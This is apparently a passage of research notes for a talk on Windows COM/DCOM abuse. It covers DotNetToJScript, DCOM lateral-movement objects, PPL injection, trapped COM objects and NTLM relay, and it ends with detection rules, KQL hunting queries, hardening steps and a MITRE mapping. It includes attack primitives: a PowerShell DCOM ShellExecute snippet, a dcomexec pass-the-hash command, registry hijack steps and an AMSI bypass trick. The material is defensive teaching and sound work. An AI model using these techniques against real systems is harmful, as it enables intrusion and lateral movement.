||||||
|
var d = fmt.Deserialize_2(stm);
|
||||||
|
var o = d.DynamicInvoke(al.ToArray()) // -> Assembly.Load(byte[])
|
||||||
|
.CreateInstance(entry_class); // constructor runs
|
||||||
|
```
|
||||||
|
5. No managed assembly on disk — engine of SharpShooter, CACTUSTORCH, GreatSCT, SuperSharpShooter, Outlook-CreateObject DCOM delivery (enigma0x3 Nov 2017).
|
||||||
|
|
||||||
|
## 1.3 AMSI changes
|
||||||
|
- AMSI integrated into JScript/VBScript engines, WSH, PowerShell, VBA (2018), WMI, .NET 4.8+ (scans `Assembly.Load(byte[])`, Apr 2019), UAC (`Microsoft-Antimalware-UacScan` ETW 1201). scrobj.dll hosts WSH engines → scriptlet content scanned.
|
||||||
|
- Jun 2018: AMSI signatures for default DotNetToJScript/SharpShooter output. Forshaw counter: "Disabling AMSI in JScript with One Simple Trick" — copy wscript.exe as amsi.dll; `LoadLibraryEx("amsi.dll")` returns loaded EXE image, AmsiInitialize fails, WSH runs unscanned.
|
||||||
|
- DotNetToJScript defaults to CLR v2 (no AMSI); v4 scanned. Residual: ETW Microsoft-Windows-DotNETRuntime `{e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}` assembly-load/JIT in wscript/dllhost.
|
||||||
|
|
||||||
|
## 2. COM for Local Code Execution (LOLBIN-style)
|
||||||
|
No "LOLCOM" project exists. Canon: enigma0x3 2017, bohops 2018, Tsukerman/Cybereason 2018-19, rvrsh3ll Invoke-DCOM.ps1, FireEye "Hunting COM Objects" (Jun 2019, 2 parts), Axel Boesenach hackdefense enumeration paper, rasta-mouse CsDCOM/CheeseDCOM.
|
||||||
|
|
||||||
|
| Object | CLSID/ProgID | Method | Host | Notes |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| MMC20.Application | `{49B2791A-B1AE-4C90-9B8E-E860BA07F889}` | `Document.ActiveView.ExecuteShellCommand(cmd,dir,params,"7")` | mmc.exe -Embedding | local+remote; admin required (AppID launch perms) |
|
||||||
|
| ShellWindows | `{9BA05972-F6A8-11CF-A442-00A0C90A8F39}` | `Document.Application.ShellExecute(...)`; Navigate/Navigate2 | existing explorer.exe window (medium IL) | usable from medium IL locally — code runs inside explorer.exe |
|
||||||
|
| ShellBrowserWindow | `{C08AFD90-F2A1-11D1-8455-00A0C91F3880}` | same | new explorer.exe if no window | local medium-IL exec; remote needs admin |
|
||||||
|
| ExcelDDE | ProgID Excel.Application (`{00024500-0000-0000-C000-000000000046}`) | `DDEInitiate("cmd","/c ...")` | EXCEL.EXE | no malicious doc needed; needs Office |
|
||||||
|
| Excel variants | same | `RegisterXLL`, `ExecuteExcel4Macro` (XLM) | EXCEL.EXE | enigma0x3 Sep 2017 |
|
||||||
|
| InternetExplorer.Application | `{0002DF01-0000-0000-C000-000000000046}` | Navigate2 to UNC/local exe | iexplore.exe | IE prompts limit reliability |
|
||||||
|
| htafile (LethalHTA) | ProgID htafile | remote instantiation → mshta fetches .hta | mshta.exe | codewhitesec Jul 2018 |
|
||||||
|
| Outlook.Application | ProgID | `CreateObject("Wscript.Shell")` + DotNetToJScript | OUTLOOK.EXE | enigma0x3 Nov 2017 |
|
||||||
|
| Utility objects | ProgIDs | `WScript.Shell.Run`, `Shell.Application.ShellExecute`, `Schedule.Service`, `WbemScripting.SWbemLocator` | various | standard local exec primitives |
|
||||||
|
| Visio.Application | ProgID | macro-less exec paths | VISIO.EXE | Tsukerman/CheeseDCOM lists |
|
||||||
|
|
||||||
|
PowerShell idiom (detect this):
|
||||||
|
```powershell
|
||||||
|
$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","target")
|
||||||
|
$obj = [System.Activator]::CreateInstance($com)
|
||||||
|
$obj.Document.Application.ShellExecute("cmd.exe","/c calc","c:\windows\system32",$null,0)
|
||||||
|
# MMC20: $obj.Document.ActiveView.ExecuteShellCommand($cmd,$null,$null,"7")
|
||||||
|
# ExcelDDE: $obj.DDEInitiate("cmd","/c calc")
|
||||||
|
```
|
||||||
|
Tooling: Invoke-DCOM.ps1 (rvrsh3ll), impacket dcomexec.py (`-object MMC20|ShellWindows|ShellBrowserWindow`, semi-interactive, output via temp file over ADMIN$), CrackMapExec dcom, CsDCOM/CheeseDCOM. MITRE T1559.001 (local) + T1021.003 (remote).
|
||||||
|
|
||||||
|
## 3. PPL Injection via COM (Forshaw, P0 Oct/Nov 2018)
|
||||||
|
First public no-admin userland code exec inside PPL up to PPL-WindowsTCB and full PP-WindowsTCB. Established type-library-substitution → type-confusion primitive later used by PPLdump/PPLmedic (itm4n) and IRundown::DoCallback (MDSec 2022).
|
||||||
|
|
||||||
|
### Part 1 — PPL via COM type confusion + KnownDlls
|
||||||
|
1. Target: `.NET Runtime Optimization Service` (mscorsvw.exe, NGEN) — runs PPL-CodeGen (cached signing levels for UMCI).
|
||||||
|
2. COM exposure: `ngen install x.dll` → mscorsvw marshals private .NET-implemented class factory (`CorSvcBindToWorkerClassFactory`) over named pipe via CoMarshalInterface — COM server inside PPL.
|
||||||
|
3. Bug class: COM proxies/stubs generated at runtime from a Type Library; typelib registration in HKLM but `HKCU\Software\Classes\TypeLib` shadows it. Modified typelib changes signature (`[out] long*` → `[in] long` on `ICorSvcPooledWorker::CanReuseProcess`) → server stub unmarshals attacker integer as pointer → type confusion → controlled write of 0 to arbitrary address.
|
||||||
|
4. Data-only weaponization: target loader global `LdrpKnownDllDirectoryHandle`; pre-fill child PPL handle table with inheritable handles to fake KnownDlls object directory; 32-bit write zeroes top 16 bits of real handle → aliases to fake → induced DLL load maps unsigned code into PPL, DllMain runs. No thread injection, no ROP, no CFG bypass.
|
||||||
|
5. To PPL-WinTcb: CiSetFileCache cached-signing backdoor → cache-sign arbitrary DLL as Microsoft/WinTcb.
|
||||||
|
|
||||||
|
### Part 2 — full PP-WindowsTCB via IRundown::DoCallback
|
||||||
|
1. COM hijack CLSID `{07FC2B94-5285-417E-8AC3-C2CE5240B0FA}` with ThreadingModel="Free" (HKCU) inside PP target; inherit fake KnownDlls handles.
|
||||||
|
2. Start WerFaultSecure.exe at PP-WindowsTCB dumping an AppContainer process; use vulnerable Win8.1 WerFaultSecure (unencrypted dumps).
|
||||||
|
3. Parse dump for per-process COM security secret, context pointer, IPID of undocumented `IRundown` (present in every COM-remoting process).
|
||||||
|
4. `IRundown::DoCallback(fn, param)` executes arbitrary function with one pointer arg inside PP: overwrite `LdrpKnownDllDirectoryHandle`, then `LoadLibrary` fake KnownDll. Works Win10 through 1809. Corollary: arbitrary memory read in COM-remoting process → arbitrary execute (no thread creation, no allocation APIs).
|
||||||
|
|
||||||
|
### Microsoft response
|
||||||
|
- PPL is not a security boundary per MS servicing criteria → no CVEs/bounties for PPL-only.
|
||||||
|
- Fixed anyway: JScript/scriptlet PPL injection (P0 Issue 1336) fixed Win10 1803 — CI.DLL (`CipMitigatePPLBypassThroughInterpreters`) blocks `scrobj.dll, scrrun.dll, jscript.dll, jscript9.dll, vbscript.dll` in protected processes. CVE-2017-11830 — CiSetFileCache TOCTOU SFB (P0 Issue 1332).
|
||||||
|
- July 2022: Microsoft stopped initializing `\KnownDlls` in PPL (killed PPLdump variant) — but signature-not-verified-on-section-map remains; PPLmedic (2023) re-proved.
|
||||||
|
- Follow-ons: itm4n PPLdump/PPLmedic/PPLKiller; gabriellandau PPLFault; MDSec IRundown::DoCallback injection (Apr 2022); ANGRYORCHARD.
|
||||||
|
|
||||||
|
## 4. Trapped COM Objects (Forshaw, Jan 2025) — defense-evasion angle
|
||||||
|
Source: "Windows Bug Class: Accessing Trapped COM Objects with IDispatch" (googleprojectzero.blogspot.com/2025/01/..., commonly reported Feb 2025).
|
||||||
|
1. Client activates OOP COM server → marshal-by-reference object trapped server-side; calls execute server-side.
|
||||||
|
2. Via `IDispatch::GetTypeInfo` → `ITypeLib`, enumerate server-referenced typelibs — incl. stdole (`{00020430-0000-0000-C000-000000000046}`, stdole2.tlb). Request new `StdFont` (`{0BE35203-8F91-11CE-9DE3-00AA004BB851}`) — resolved in server process context: another trapped object.
|
||||||
|
3. Redirect StdFont to .NET: hijack StdFont COM registration (HKCU locally; remote registry remotely) → activation yields `.NET System.Object` CCW. Set `AllowDCOMReflection=1` + `OnlyUseLatestCLR=1` under `Software\Microsoft\.NETFramework` → .NET reflection usable over DCOM.
|
||||||
|
4. Reflection chain: `GetType()` → `Assembly` → `Assembly.Load(byte[])` → arbitrary managed code inside server-side DCOM process — fileless; mscoree/clr/clrjit are Microsoft-signed → PPL image-signature compatible.
|
||||||
|
5. Demo target: `WaaSRemediationAgent` COM class hosted by WaaSMedicSvc (Windows Update Medic Service) — PPL (PsProtectedSignerWindows-Light) svchost as SYSTEM → code exec inside PPL/SYSTEM.
|
||||||
|
6. Microsoft: not a security-boundary violation (admin→PPL not defended) → detection problem, no CVE (as of writing).
|
||||||
|
IBM X-Force (Tran & Bayne, Mar 2025) "Fileless lateral movement with trapped COM objects" + PoC ForsHops (github.com/xforcered/ForsHops): 1) remote-set AllowDCOMReflection/OnlyUseLatestCLR 2) remote hijack StdFont → System.Object 3) create WaaSRemediationAgent over DCOM 4) resolve trapped StdFont→System.Object in remote WaaSMedicSvc PPL 5) Assembly.Load → SYSTEM inside protected signed process, zero files. Only disk artifacts: registry values.
|
||||||
|
Outflank (Kyle Avery, Jul 2025): WaaSMedicSvc/PPL approach fails on updated Win11 (CLR can't load into that PPL) — target-specific, not class-specific; LLM-assisted registry enumeration found alternative trapped-COM classes. T3nb3w ComDotNetExploit = local PPL-injection PoC variant.
|
||||||
|
|
||||||
|
## 5. DCOM + NTLM Relay
|
||||||
|
### 5.1 COM as coercion trigger
|
||||||
|
- Forshaw local NTLM reflection (P0 Apr 2015, fixed): marshaled OBJREF_STANDARD with attacker-chosen RPC binding strings → DCOM client binds to fake OXID resolver, performs NTLM auth → reflected to local DCOM activation → SYSTEM token. Birthed potato family (T1134.001).
|
||||||
|
- RemotePotato0 (Cocomazzi & Pierini, 2021, github.com/antonioCoco/RemotePotato0): marshal IStorage (`CoGetInstanceFromIStorage`), hand OBJREF to remote DCOM activator for CLSID running as Interactive User (default PoC `{5167B42F-C111-47A1-ACC4-8EABE61B0B54}`; BrowserBroker `{0002DF02-0000-0000-C000-000000000046}`) → victim resolves OXID against attacker resolver (135 redirect) → authenticated ResolveOxid2/IRemUnknown2 calls to attacker → relay RPC/TCP → HTTP wrapper → ntlmrelayx → LDAP/AD CS (ESC8)/SMB → DA. Requires interactively logged-on privileged user.
|
||||||
|
- RemoteMonologue (IBM X-Force, Andrew Oliveau, Apr 2025, github.com/3lp4tr0n/RemoteMonologue): with local admin, SeTakeOwnershipPrivilege on `HKCR\AppID\{AppID}` → set `RunAs = "Interactive User"` → remotely instantiate → invoke method/property dereferencing attacker UNC → logged-on user's NTLM (or machine$) coerced. Objects: ServerDataCollectorSet `{03837546-098B-11D8-9414-505054503030}` (DataManager.Extract UNC param), FileSystemImage `{2C941FC5-975B-59BE-A960-9A2A262853A5}` (WorkingDirectory property), UpdateSession `{4CB43D7F-7EEE-4906-8698-60DA1C38F2FE}` (AddScanPackageService), MSTSWebProxy. Extras: NetNTLMv1 downgrade (LmCompatibilityLevel ≤ 2), WebClient abuse (`\\host@80\file`).
|
||||||
|
### 5.2 OXID resolver abuse
|
||||||
|
`IOXIDResolver`/`IObjectExporter` (UUID `{99FCFEC4-5260-101B-BBCB-00AA0021347A}`, port 135/epmap): unauthenticated `ServerAlive2` leaks network interfaces (impacket oxidresolver); OXID resolution is what every potato/coercion abuses.
|
||||||
|
### 5.3 PetitPotam/PrinterBug → DCOM?
|
||||||
|
PetitPotam (MS-EFSR, CVE-2021-36942) and PrinterBug (MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)) coerce machine-account auth over SMB/named-pipe RPC — NOT DCOM. Coerced auth relays to LDAP(S)/AD CS, not DCOM activation, because DCOM as relay target closed: CVE-2021-26414 "DCOM Hardening" (KB5004442) requires RPC_C_AUTHN_LEVEL_PKT_INTEGRITY+ for activation (opt-in Jun 2021 → default Jun 2022 → mandatory Mar 2023; `HKLM\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel`). New DistributedCOM events: 10036 (server-side refusal below PKT_INTEGRITY, logs user/SID/client IP), 10037/10038 (client-side too-low auth level). **"You relay FROM DCOM, not TO DCOM."**
|
||||||
|
### 5.4 CVE-2017-0100
|
||||||
|
MS17-012 (Mar 2017) "Windows HelpPane EoP": DCOM object in Helppane.exe configured RunAs=Interactive User failed to validate clients → LPE (CVSS 7.8, Win7-10/2008R2-2016). RunAs=Interactive User DCOM objects = decade-long bug class; RemoteMonologue is the 2025 remote re-weaponization.
|
||||||
|
### 5.5 PtH with DCOM: YES
|
||||||
|
`dcomexec.py -hashes LMHASH:NTHASH user@target` (MMC20/ShellWindows/ShellBrowserWindow); CrackMapExec `-dcom`. Needs NTLM allowed, remote Launch/Activation rights (default Administrators), LocalAccountTokenFilterPolicy=1 for local non-RID500 accounts; KB5004442 compatible (impacket speaks PKT_INTEGRITY). Maps T1550.002 + T1021.003.
|
||||||
|
|
||||||
|
## 6. AMSI/ETW and COM
|
||||||
|
- Scriptlet content: YES (AmsiScanBuffer in jscript/vbscript; second scan per CreateObject'd block). Network fetch not scanned; executed script is.
|
||||||
|
- .NET payload: conditional (CLR 4.8+ scans in-memory Assembly.Load; CLR 2.0 no hook). PowerShell DCOM one-liners fully scanned (4104).
|
||||||
|
- Type-confusion/trapped-COM native stages: NO direct AMSI — registry+RPC+reflection; use ETW/registry/network.
|
||||||
|
- Threat-Intelligence ETW `{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}` (PPL-required consumers) sees injection-style memory behavior.
|
||||||
|
|
||||||
|
ETW providers (verified GUIDs):
|
||||||
|
| Provider | GUID | Use |
|
||||||
|
|---|---|---|
|
||||||
|
| Microsoft-Windows-RPC | `{6AD52B32-D609-4BE9-AE07-CE8DAE937E39}` (Debug) | EID 5/6 RPC client/server call start: InterfaceUuid, OpNum, Protocol, Endpoint (SpecterOps "Utilizing RPC Telemetry") |
|
||||||
|
| Microsoft-Windows-RPC-Events | `{F4AED7C7-A898-4627-B053-44A7CAA12FCD}` | RPC operational |
|
||||||
|
| Microsoft-Windows-RPCSS | `{D8975F88-7DDB-4ED0-91BF-3ADF48C48E0C}` | RPCSS/DcomLaunch host |
|
||||||
|
| Microsoft-Windows-COMRuntime | `{BF406804-6AFA-46E7-8A48-6C357E1D6D61}` | COM activation/runtime (verbose) |
|
||||||
|
| Microsoft-Windows-COM-Perf | `{B8D6861B-D20F-4EEC-BBAE-87E0DD80602B}` | perf |
|
||||||
|
| Microsoft-Windows-COM-RundownInstrumentation | `{2957313D-FCAA-5D4A-2F69-32CE5F0AC44E}` | rundown |
|
||||||
|
| Microsoft-Windows-DotNETRuntime | `{E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}` | assembly loads/JIT in COM hosts |
|
||||||
|
| Microsoft-Windows-Threat-Intelligence | `{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}` | injection behaviors |
|
||||||
|
|
||||||
|
DCOM interface UUIDs to key on: IRemoteSCMActivator `{4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57}`; ISystemActivator `{000001A0-0000-0000-C000-000000000046}`; IObjectExporter/IOXIDResolver `{99FCFEC4-5260-101B-BBCB-00AA0021347A}`; IRemUnknown `{00000131-0000-0000-C000-000000000046}`; IRemUnknown2 `{00000143-0000-0000-C000-000000000046}`; IUnknown `{00000000-0000-0000-C000-000000000046}`. Chain context: MS-EFSR `{C681D488-D850-11D0-8C52-00C04FD90F7E}`, MS-RPRN `{AE33069B-A2A8-46EE-A235-DDFD339BE281}`/`{12345678-1234-ABCD-EF00-0123456789AB}`.
|
||||||
|
|
||||||
|
EDR view of DCOM activation: 1) inbound 135 → epmap → dynamic port; RemoteCreateInstance inside svchost -k DcomLaunch (raw RPC ETW lacks remote IP — Zero Networks gap) 2) Security 4624 Type 3 NTLM logon; 4672 if privileged 3) DcomLaunch spawns server: `mmc.exe -Embedding`, explorer.exe, `dllhost.exe /Processid:{CLSID}`, `EXCEL.EXE /automation -Embedding` — lineage anchor 4) AppID/CLSID registry reads 5) outbound callbacks. RPC Firewall (Zero Networks) closes gap: per-call UUID/opnum/src-IP/principal in RPCFW log EID 3; Sigma "Remote DCOM/WMI Lateral Movement" (68050b10-e477-4377-a99b-3721b422d6ef). Native RPC filter event 5712 unreliable.
|
||||||
|
|
||||||
|
## 7. Detection master list
|
||||||
|
Sysmon:
|
||||||
|
- EID 1: regsvr32 `/i:` + URL + scrobj.dll; `mmc.exe -Embedding` child of svchost (Sigma f1f3bf22-deb2-418d-8cce-e1a45e46a5bd); anomalous `dllhost.exe /Processid:`; explorer/EXCEL spawning cmd/powershell; wscript/cscript/mshta with .sct; PowerShell with GetTypeFromCLSID/GetTypeFromProgID/Activator]::CreateInstance/ExecuteShellCommand/ShellExecute/DDEInitiate.
|
||||||
|
- EID 3: regsvr32 outbound HTTP/S (near-zero FP); workstation→workstation TCP/135 + dynamic ports; mmc/excel/dllhost unexpected outbound.
|
||||||
|
- EID 7: scrobj.dll in regsvr32; jscript/vbscript/scrrun in unusual hosts; clr.dll/clrjit.dll/mscoree.dll in dllhost/svchost/mmc/explorer (DotNetToJScript & trapped COM).
|
||||||
|
- EID 8: COM injection mostly does NOT trip CreateRemoteThread — teach as evasion gap.
|
||||||
|
- EID 11: .sct drops.
|
||||||
|
- EID 12/13/14: writes under `HKCU\Software\Classes\CLSID\{...}\(InprocServer32|LocalServer32|TreatAs|ProgID)` and `...\TypeLib\{...}`; `HKLM\SOFTWARE\Classes\AppID\{...}\RunAs` (RemoteMonologue); `HKLM\SOFTWARE\Microsoft\Ole\AppCompat\*` (hardening tamper); `(HKLM|HKCU)\SOFTWARE\Microsoft\.NETFramework\` values **AllowDCOMReflection, OnlyUseLatestCLR** (trapped COM — high fidelity); `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LmCompatibilityLevel` (NTLMv1 downgrade).
|
||||||
|
- EID 17/18: named pipes (mscorsvw marshaling).
|
||||||
|
- EID 22: regsvr32 DNS for scriptlet hosts.
|
||||||
|
Windows events: 4688 (mirror Sysmon 1); 4624 Type 3; 4625; 4648; 4672; 4657/4663 with SACLs on Classes\AppID\CLSID; 5156/5158 WFP (noisy); 5712 unreliable; DistributedCOM 10016 (permission denied — probing), 10036/10037/10038 (KB5004442 refusals), 10006/10009/10028; PowerShell 4104 (ExecuteShellCommand/GetTypeFromCLSID — Splunk "Remote Process Instantiation via DCOM and PowerShell Script Block"); AppLocker 8004.
|
||||||
|
Named content: Sigma proc_creation_win_mmc_mmc20_lateral_movement.yml; proc_creation_win_regsvr32_squiblydoo.yml; rpc_firewall_remote_dcom_or_wmi.yml; registry_set_persistence_com_hijacking_builtin.yml; CAR-2019-04-003 (Squiblydoo). Splunk: "Remote Process Instantiation via DCOM and PowerShell" (d4f42098-4680-11ec-ad07-3e22fbd008af), "...Script Block" (fa1c3040-4680-11ec-a618-3e22fbd008af), "Mmc LOLBAS Execution Process Spawn" (f6601940-4c74-11ec-b9b7-3e22fbd008af), "Possible Lateral Movement PowerShell Spawn" (22282a2d-dc19-4b88-ac61-6c86ff92904f). Elastic: prebuilt "Incoming DCOM Lateral Movement with MMC"; blog "How to hunt: Detecting persistence and evasion with COM". Atomic T1021.003 tests.
|
||||||
|
|
||||||
|
KQL hunting queries:
|
||||||
|
```kusto
|
||||||
|
// DCOM lateral movement
|
||||||
|
DeviceProcessEvents
|
||||||
|
| where InitiatingProcessFileName =~ "svchost.exe"
|
||||||
|
| where InitiatingProcessCommandLine has "DcomLaunch"
|
||||||
|
| where FileName in~ ("mmc.exe","explorer.exe","dllhost.exe","excel.exe","mshta.exe")
|
||||||
|
|
||||||
|
// Squiblydoo
|
||||||
|
DeviceProcessEvents
|
||||||
|
| where FileName =~ "regsvr32.exe"
|
||||||
|
| where ProcessCommandLine has_all ("scrobj.dll","/i:") and ProcessCommandLine has_any ("http","https","ftp")
|
||||||
|
|
||||||
|
// COM hijack registry
|
||||||
|
DeviceRegistryEvents
|
||||||
|
| where RegistryKey has @"Software\Classes\CLSID\"
|
||||||
|
| where RegistryKey has_any ("InprocServer32","LocalServer32","TreatAs") or RegistryKey has @"\TypeLib\"
|
||||||
|
| where ActionType has "SetValue" or ActionType has "Create"
|
||||||
|
|
||||||
|
// Trapped COM artifacts
|
||||||
|
DeviceRegistryEvents
|
||||||
|
| where RegistryKey has @"SOFTWARE\Microsoft\.NETFramework"
|
||||||
|
| where RegistryValueName in~ ("AllowDCOMReflection","OnlyUseLatestCLR") and RegistryValueData == 1
|
||||||
|
|
||||||
|
// CLR in COM hosts
|
||||||
|
DeviceImageLoadEvents
|
||||||
|
| where FileName in~ ("clr.dll","clrjit.dll","mscoree.dll")
|
||||||
|
| where InitiatingProcessFileName in~ ("dllhost.exe","svchost.exe","mmc.exe","explorer.exe","wscript.exe","cscript.exe")
|
||||||
|
|
||||||
|
// RunAs tampering (RemoteMonologue)
|
||||||
|
DeviceRegistryEvents
|
||||||
|
| where RegistryKey has @"SOFTWARE\Classes\AppID\" and RegistryValueName =~ "RunAs"
|
||||||
|
```
|
||||||
|
UAC elevated-COM hunting: medium-IL parent → high-IL child without consent.exe; auto-elevated hosts (fodhelper, computerdefaults, sdclt, eventvwr, slui) with unusual children; writes to HKCU\Software\Classes\ms-settings\Shell\Open\command, mscfile\shell\open\command; CMSTPLUA `{3E5FC7F9-9A51-4367-9063-A120244FBEC7}` instantiation; "Elevation:Administrator!new:" strings.
|
||||||
|
|
||||||
|
Baseline/hardening: inventory legit DCOM (SCCM, backup, OPC, AV mgmt) → deny rest via dcomcnfg AppID Launch ACLs (MMC20 + Office CLSIDs first); segment 135+dynamic to mgmt hosts, block workstation↔workstation 135; enforce KB5004442 (=1; alert on =0), LDAP signing+channel binding, SMB signing, AD CS EPA; AppLocker/WDAC block scrobj.dll script execution, disable WebClient, Office ASR; NTLMv1 off (LmCompatibilityLevel=5); LSA Protection; RPC Firewall on servers/DCs; collect RPC ETW 5/6 on critical hosts; sysmon-modular + SwiftOnSecurity configs.
|
||||||
|
|
||||||
|
## 8. MITRE mapping (verified)
|
||||||
|
| ID | Name | COM content |
|
||||||
|
|---|---|---|
|
||||||
|
| T1559.001 | IPC: COM and DCOM | local execution objects, scriptlets, DotNetToJScript, trapped COM |
|
||||||
|
| T1021.003 | Remote Services: DCOM | MMC20/ShellWindows/ShellBrowserWindow/ExcelDDE remoting, dcomexec, ForsHops, RemoteMonologue |
|
||||||
|
| T1546.015 | Event Triggered Execution: COM Hijacking | CLSID/InprocServer32/LocalServer32/TreatAs; TypeLib + script: moniker variant (explicit in ATT&CK) |
|
||||||
|
| T1548.002 | Abuse Elevation Control: Bypass UAC | elevated/auto-elevated COM (CMSTPLUA, elevation moniker) |
|
||||||
|
| T1218.010 | System Binary Proxy Execution: Regsvr32 | Squiblydoo |
|
||||||
|
| T1055 | Process Injection | PPL injection, IRundown::DoCallback, trapped-COM in-PPL |
|
||||||
|
| T1620 | Reflective Code Loading | Assembly.Load(byte[]) via COM |
|
||||||
|
| T1112 | Modify Registry | CLSID/TypeLib/AppID/RunAs/.NETFramework writes |
|
||||||
|
| T1550.002 | Pass the Hash | dcomexec -hashes |
|
||||||
|
| T1134.001 | Token Impersonation/Theft | potato lineage |
|
||||||
|
| T1557.001 | LLMNR/NBT-NS Poisoning and SMB Relay | relay chains with DCOM trigger |
|
||||||
|
| T1003.001 | LSASS Memory | PPL bypass end-goal |
|
||||||
|
| T1059.005/.007 | VB/JavaScript | scriptlet bodies |
|
||||||
|
| T1027 | Obfuscation | Base64 .NET blobs |
|
||||||
|
| T1047 | WMI | WMI runs over DCOM (SWbemLocator) |
|
||||||
|
| T1068 | Exploitation for Privilege Escalation | CVE-2017-0100, PPL chain components |
|
||||||
|
|
||||||
|
## Diagrams to draw
|
||||||
|
1. Squiblydoo+DotNetToJScript chain with AMSI scan points and "all signed / no registry / no file" annotations.
|
||||||
|
2. Type-confusion PPL injection: HKCU typelib shadow → mscorsvw PPL stub integer-as-pointer → LdrpKnownDllDirectoryHandle alias → unsigned DLL in PPL; escalation box CiSetFileCache → WinTcb; Part 2 IRundown::DoCallback; fixes timeline (1803 CI blocklist, CVE-2017-11830, Jul 2022 KnownDlls removal, "PPL ≠ boundary").
|
||||||
|
3. NTLM relay chain with COM as trigger (IStorage OBJREF → OXID → auth → RPC→HTTP → ntlmrelayx → LDAP/ADCS/SMB); annotate KB5004442 + events 10036-38.
|
||||||
|
4. Trapped COM chain local + IBM remote variant.
|
||||||
|
5. Detection data-source map with blind spots (no remote IP in raw RPC ETW; no CreateRemoteThread; CLR-v2 AMSI gap).
|
||||||
|
|
||||||
|
## REFERENCES (title — URL)
|
||||||
|
Primary: subt0x11.blogspot.com/2016/04/bypass-application-whitelisting-script.html (+ gist 24c7d8e1ff0f5602092f58cbb3f7d302) · github.com/tyranid/DotNetToJScript · tiraniddo.dev/2018/06/disabling-amsi-in-jscript-with-one.html · mdsec.co.uk/2018/06/freestyling-with-sharpshooter-v1-0/ · googleprojectzero.blogspot.com/2018/10/injecting-code-into-windows-protected.html · googleprojectzero.blogspot.com/2018/11/injecting-code-into-windows-protected.html · bugs.chromium.org/p/project-zero/issues/detail?id=1332 · itm4n.github.io/bypassing-ppl-in-userland-again/ · github.com/itm4n/PPLmedic · mdsec.co.uk/2022/04/process-injection-via-component-object-model-com-irundowndocallback/ · googleprojectzero.blogspot.com/2025/01/windows-bug-class-accessing-trapped-com.html · ibm.com/think/news/fileless-lateral-movement-trapped-com-objects · github.com/xforcered/ForsHops · outflank.nl/blog/2025/07/29/accelerating-offensive-research-with-llm/ · ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions · github.com/3lp4tr0n/RemoteMonologue · github.com/antonioCoco/RemotePotato0 · nvd.nist.gov/vuln/detail/CVE-2017-0100 · support.microsoft.com KB5004442 (CVE-2021-26414) · github.com/fortra/impacket
|
||||||
|
LOLCOM corpus: enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ · enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ · enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/ · enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/ · bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/ · bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/ · cybereason.com/blog/dcom-lateral-movement-techniques · cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom · github.com/rvrsh3ll/Misc-Powershell-Scripts (Invoke-DCOM.ps1) · codewhitesec.blogspot.com/2018/07/lethalhta.html · fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html (+part-two) · hackdefense.com Axel Boesenach DCOM enumeration paper · oddvar.moe AppLocker case study
|
||||||
|
AMSI/ETW/RPC: redcanary.com/blog/amsi/ · posts.specterops.io/utilizing-rpc-telemetry-7af9ea08a1d5 · zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall · github.com/zeronetworks/rpcfirewall · ftrsec.github.io/Blog/rpc-detection/ · ETW GUID gist guitarrapc/35a94b908bad677a7310
|
||||||
|
Detection: detection.fyi (MMC20, RPC firewall rules) · github.com/SigmaHQ/sigma registry_set_persistence_com_hijacking_builtin.yml · intezer.com Squiblydoo blog · car.mitre.org/analytics/CAR-2019-04-003/ · research.splunk.com (DCOM analytics) · elastic.co/blog/how-hunt-detecting-persistence-evasion-com · blog.gdatasoftware.com/2014/10/23941 · Atomic T1021.003 · SwiftOnSecurity/sysmon-config · olafhartong/sysmon-modular · detect.fyi/how-to-detect-dcom-lateral-movement
|
||||||
|
MITRE: T1559.001, T1021.003, T1546.015, T1548.002, T1218.010, T1055, T1620, T1550.002, T1134.001, T1557.001 (attack.mitre.org/techniques/...)
|
||||||
|
Caveats: no LOLCOM project; trapped-COM blog is Jan 2025 by URL ("early 2025" in deck); no CVE for trapped-COM or 2018 PPL type-confusion (PPL not a boundary — inference); WaaSRemediationAgent CLSID not public — refer by class name; raw RPC ETW lacks remote IP (use RPC Firewall).
|
||||||